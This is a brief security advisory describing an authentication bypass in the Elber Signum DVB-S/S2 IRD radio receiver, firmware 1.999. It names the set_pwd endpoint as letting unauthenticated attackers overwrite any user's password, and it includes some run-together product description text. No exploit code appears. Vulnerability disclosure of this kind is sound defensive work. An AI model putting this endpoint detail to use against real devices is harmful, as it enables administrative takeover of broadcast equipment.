Elber Signum DVB-S/S2 IRD For Radio Networks 1.999 Authentication Bypass
Elber Signum DVB-S/S2 IRD for Radio Networks version 1.999 suffers from an authentication bypass vulnerability through a direct and unauthorized access to the password management functionality. The issue allows attackers to bypass authentication by manipulating the set_pwd endpoint that enables them to overwrite the password of any user within the system. This grants unauthorized and administrative access to protected areas of the application compromising the device’s system security.

The TS demodulated signals can be alignedand configured in 1+1 seamless switching for redundancy. Redundancy can alsobe achieved with external ASI and TSoIP inputs. Signum supports MPEG-1 LI/IIaudio codec, providing analog and digital outputs; moreover, it’s possibleto set a data PID to be decoded and passed to the internal RDS encoder,generating the dual MPX FM output.Desc: The device suffers from an authentication bypass vulnerability througha direct and unauthorized access to the password management functionality.
